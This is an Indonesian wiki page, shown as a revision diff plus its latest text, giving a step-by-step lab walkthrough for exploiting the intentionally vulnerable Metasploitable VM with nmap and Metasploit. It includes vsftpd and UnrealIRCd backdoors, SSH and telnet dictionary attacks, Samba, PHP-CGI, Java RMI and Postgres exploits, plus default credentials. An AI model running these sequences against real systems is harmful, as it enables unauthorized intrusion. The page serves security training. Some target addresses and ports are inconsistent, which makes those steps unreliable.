Difference between revisions of "Metasploitable: pentest"

From OnnoWiki
Jump to navigation Jump to search
 
(13 intermediate revisions by the same user not shown)
Line 3: Line 3:
  
  
Metasploitable adalah versi rentan Linux Ubuntu yang secara sukarela dirancang untuk menguji tool keamanan dan mendemonstrasikan kerentanan umum berbasis mesin virtual yang membantu kita melakukan pelatihan keamanan, menguji alat keamanan, dan mempraktekkan teknik pengujian penetrasi umum. VM akan berjalan pada produk VMware terbaru dan teknologi visualisasi lainnya seperti VirtualBox. Anda dapat men-download metasploitable dari
+
Metasploitable adalah versi rentan Linux Ubuntu yang sengaja dirancang untuk menguji tool keamanan dan mendemonstrasikan kerentanan umum berbasis mesin virtual yang membantu kita melakukan pelatihan keamanan, menguji alat keamanan, dan mempraktekkan teknik pengujian penetrasi umum. VM akan berjalan pada produk VMware terbaru dan teknologi visualisasi lainnya seperti VirtualBox. Anda dapat men-download metasploitable dari
  
 
* https://www.vulnhub.com/entry/metasploitable-2,29/
 
* https://www.vulnhub.com/entry/metasploitable-2,29/
Line 14: Line 14:
 
==Download & Install==
 
==Download & Install==
  
Pertama-tama Anda harus mengunduh metasploit dari tautan di atas. Setelah pengunduhan selesai, buka VirtualBox dan klik open mesin virtual.
+
Pertama-tama Anda harus mengunduh metasploit dari tautan berikut,
 +
 
 +
* https://www.vulnhub.com/entry/metasploitable-2,29/
 +
* https://information.rapid7.com/download-metasploitable-2017.html
 +
 
 +
Setelah pengunduhan selesai, buka VirtualBox dan klik open mesin virtual.
  
 
Setelah mengklik OK, metasploitable akan terbuka di mesin virtual dan menjalankannya cukup klik pada Power pada mesin virtual ini dan itu akan menjalankan metasploitable anda.
 
Setelah mengklik OK, metasploitable akan terbuka di mesin virtual dan menjalankannya cukup klik pada Power pada mesin virtual ini dan itu akan menjalankan metasploitable anda.
Line 28: Line 33:
  
 
  ifconfig
 
  ifconfig
 +
 +
==Asumsi IP metasploitable==
 +
 +
Asumsi IP metasploitable
 +
 +
192.168.122.134
  
 
==nmap==
 
==nmap==
  
Scan sederhan dapat menggunakan nmap
+
Scan sederhana dapat menggunakan nmap
  
nmap -sV 192.168.122.134
 
 
  nmap -sS -v -O 192.168.122.134
 
  nmap -sS -v -O 192.168.122.134
  
 
Dari hasil scan nmap kita akan bisa melihat port mana yang terbuka service mana yang berjalan di port mana. Kita dapat memulai serangan satu per satu di port yang vulneable.
 
Dari hasil scan nmap kita akan bisa melihat port mana yang terbuka service mana yang berjalan di port mana. Kita dapat memulai serangan satu per satu di port yang vulneable.
 
  
 
==attack vsftpd==
 
==attack vsftpd==
  
buka metasploit
+
buka metasploit di kali linux, ketik
  
metasploit
 
 
ketik
 
 
search
 
 
  search vsftpd 2.3.4
 
  search vsftpd 2.3.4
  
Typing the above command will show the exploits that will help you in attack the said version. So further type:
+
Lanjutkan, ketik
  
 
  use exploit/unix/ftp/vsftpd_234_backdoor
 
  use exploit/unix/ftp/vsftpd_234_backdoor
  set rhost 192.168.1.106
+
  set rhost 192.168.122.134
 
  set rport 21
 
  set rport 21
 
  exploit
 
  exploit
  
Once your attack is executed, you will reach in the shell of the metasploitable and so now you can do as you deserve.
+
Jika berhasil maka anda akan masuk ke shell metasploitable. Jika selesai melakukan pekerjaan attack, ketik
 +
 
 +
exit
  
 
==attack ssh==
 
==attack ssh==
  
Now, we will exploit ssh which works on port number 22. There is already existing exploit for this port. It will help us to apply dictionary attack to crack the password of metasploitable and so we will use it as :
+
Buat file di Kali Linux
 +
 
 +
/root/Desktop/user.txt
 +
/root/Desktop/pass.txt
 +
 
 +
Isi user.txt
 +
 
 +
msfadmin
 +
user
 +
 
 +
Isi pass.txt
 +
 
 +
msfadmin
 +
 
 +
 
 +
Masuk ke metasploit, ketik,
  
 
  use auxiliary/scanner/ssh/ssh_login
 
  use auxiliary/scanner/ssh/ssh_login
Line 70: Line 91:
 
  exploit
 
  exploit
  
As you can see, after the execution of the file it will start matching all the username with the passwords to find the correct one. And in the end you will have your password along with the username.
+
Anda akan dapat username & password yang bisa di akses menggunakan ssh
  
==Remote login dari kali linux==
+
===Remote login dari kali linux===
  
 
misalnya IP metasploitable 192.168.122.134
 
misalnya IP metasploitable 192.168.122.134
Line 81: Line 102:
  
 
  msfadmin
 
  msfadmin
 
  
 
==attack telnet==
 
==attack telnet==
  
Jalankan metasploit
+
Jalankan metasploit di kali linux, ketik
 
 
metasploit
 
 
 
Lakukan
 
  
 
  use auxiliary/scanner/telnet/telnet_login
 
  use auxiliary/scanner/telnet/telnet_login
Line 104: Line 120:
 
==attack web==
 
==attack web==
  
Now we will try to exploit the port number 80 on which http services run. For this too there is a pre-installed exploit in metasploit and to exercise the said exploit type:
+
Contoh serangan metasploit ke web di port 80.
 +
Jalankan metasploit di kali linux, ketik
  
 
  use exploit/multi/http/php_cgi_arg_injection
 
  use exploit/multi/http/php_cgi_arg_injection
Line 111: Line 128:
 
  exploit
 
  exploit
  
After the execution you will enter a meterpreter session of metasploitable as shown.
+
Anda akan masuk ke sesi meterpreter dari metasploitable
  
 
==attack file sharing==
 
==attack file sharing==
  
Next we will try to exploit the samba service that is going on the port number 139. For that we will use the following exploit:
+
Serangan ke file sharing di port 139.
 +
Jalankan metasploit di kali linux, ketik
  
 
  use exploit/multi/samba/usermap_script
 
  use exploit/multi/samba/usermap_script
Line 122: Line 140:
 
  exploit
 
  exploit
  
The execution of this will take you the shell session of metasploit that means you will reach the shell of metasploit.
+
Ini akan masuk ke shell metasploit lagi. Selanjutnya, ketik,
 
 
Now, we will use the following exploit:
 
  
 
  use exploit/multi/misc/java_rmi_server
 
  use exploit/multi/misc/java_rmi_server
Line 131: Line 147:
 
  exploit
 
  exploit
  
Again, after you hit enter button on your keyboard you will have a meterpreter session.
+
Ketik "ENTER" kita akan masuk ke sesi meterpreter
  
 
==attack postgres==
 
==attack postgres==
  
 
+
Masuk ke metasploit di kali linux, ketik
The next exploit is:
 
  
 
  use exploit/linux/postgres/postgres_payload
 
  use exploit/linux/postgres/postgres_payload
  set rhost 192.168.1.106
+
  set rhost 192.168.122.134
 
  set rport 5432
 
  set rport 5432
 
  exploit
 
  exploit
  
Once the command is executed you will enter the meterpreter session as shown above.
+
Jika berhasil, anda akan masuk ke sesi meterpreter
 
 
  
 
==attack ircd==
 
==attack ircd==
  
The exploit that use is related to unreal ircd and to search its exploit type :
+
Masuk ke metasploit di kali linux, search Unreal ircd exploit
  
 
  search Unreal ircd
 
  search Unreal ircd
  
And the result will be exploits which will help you to attack the victim. As you can see there are three exploits and we will use the latest one.
+
Ketik,
 
 
To the exploit type:
 
  
 
  use exploit/unix/irc/unreal_ircd_3281_backdoor
 
  use exploit/unix/irc/unreal_ircd_3281_backdoor
Line 161: Line 173:
 
  exploit
 
  exploit
  
And when you will hit enter you will obtain a shell session meaning you will enter the shell of the metasploitable.
+
Jika berhasil, tekan "ENTER", kita akan masuk ke shell metasploitable.
 
 
These are all the attacks that you can use against metasploitable and in the process you can learn how to attack a real life victim using different ports.
 
  
 
==Referensi==
 
==Referensi==

Latest revision as of 04:46, 8 December 2018

sumber: https://www.hackingarticles.in/penetration-testing-skills-practice-metasploitable-beginner-guide/


Metasploitable adalah versi rentan Linux Ubuntu yang sengaja dirancang untuk menguji tool keamanan dan mendemonstrasikan kerentanan umum berbasis mesin virtual yang membantu kita melakukan pelatihan keamanan, menguji alat keamanan, dan mempraktekkan teknik pengujian penetrasi umum. VM akan berjalan pada produk VMware terbaru dan teknologi visualisasi lainnya seperti VirtualBox. Anda dapat men-download metasploitable dari

Metasploitable adalah framework yang dapat dieksploitasi yang membantu kita untuk meningkatkan keterampilan kita dan juga membantu penggunaan untuk menggunakan setiap port untuk keuntungan kita karena kita semua tahu bahwa port dan protokol adalah dasar dari peretasan sehingga, oleh karena itu, semakin banyak anda dapat mengambil manfaat dari korban.

Dalam hal ini kita akan menelusuri seluruh konsep metasploitable termasuk cara menginstalnya dan cara meretasnya selangkah demi selangkah. Kami akan mengambil semua port satu per satu yang rentan dan mencoba untuk mengeksploitasinya.

Download & Install

Pertama-tama Anda harus mengunduh metasploit dari tautan berikut,

Setelah pengunduhan selesai, buka VirtualBox dan klik open mesin virtual.

Setelah mengklik OK, metasploitable akan terbuka di mesin virtual dan menjalankannya cukup klik pada Power pada mesin virtual ini dan itu akan menjalankan metasploitable anda.

Saat start, akan ditanya username password, masukan

username msfadmin
password msfadmin

Cek IP

Cek IP address menggunakan

ifconfig

Asumsi IP metasploitable

Asumsi IP metasploitable

192.168.122.134

nmap

Scan sederhana dapat menggunakan nmap

nmap -sS -v -O 192.168.122.134

Dari hasil scan nmap kita akan bisa melihat port mana yang terbuka service mana yang berjalan di port mana. Kita dapat memulai serangan satu per satu di port yang vulneable.

attack vsftpd

buka metasploit di kali linux, ketik

search vsftpd 2.3.4

Lanjutkan, ketik

use exploit/unix/ftp/vsftpd_234_backdoor
set rhost 192.168.122.134
set rport 21
exploit

Jika berhasil maka anda akan masuk ke shell metasploitable. Jika selesai melakukan pekerjaan attack, ketik

exit

attack ssh

Buat file di Kali Linux

/root/Desktop/user.txt
/root/Desktop/pass.txt

Isi user.txt

msfadmin
user

Isi pass.txt

msfadmin


Masuk ke metasploit, ketik,

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.106
set rport 22
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit

Anda akan dapat username & password yang bisa di akses menggunakan ssh

Remote login dari kali linux

misalnya IP metasploitable 192.168.122.134

ssh msfadmin@192.168.122.134

password

msfadmin

attack telnet

Jalankan metasploit di kali linux, ketik

use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.122.134
set rport 23
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit

Sama dengan ssh, ini adalah dictionary attack. Setelah memperoleh password kita dapat masuk dari kali linux menggunakan

telnet 192.168.122.134

attack web

Contoh serangan metasploit ke web di port 80. Jalankan metasploit di kali linux, ketik

use exploit/multi/http/php_cgi_arg_injection
set rhost 192.168.122.134
set rport 80
exploit

Anda akan masuk ke sesi meterpreter dari metasploitable

attack file sharing

Serangan ke file sharing di port 139. Jalankan metasploit di kali linux, ketik

use exploit/multi/samba/usermap_script
set rhost 192.168.122.134
set rport 139
exploit

Ini akan masuk ke shell metasploit lagi. Selanjutnya, ketik,

use exploit/multi/misc/java_rmi_server
set rhost 192.168.122.134
set rport 1899
exploit

Ketik "ENTER" kita akan masuk ke sesi meterpreter

attack postgres

Masuk ke metasploit di kali linux, ketik

use exploit/linux/postgres/postgres_payload
set rhost 192.168.122.134
set rport 5432
exploit

Jika berhasil, anda akan masuk ke sesi meterpreter

attack ircd

Masuk ke metasploit di kali linux, search Unreal ircd exploit

search Unreal ircd

Ketik,

use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.122.134
set rport 6667
exploit

Jika berhasil, tekan "ENTER", kita akan masuk ke shell metasploitable.

Referensi

Pranala Menarik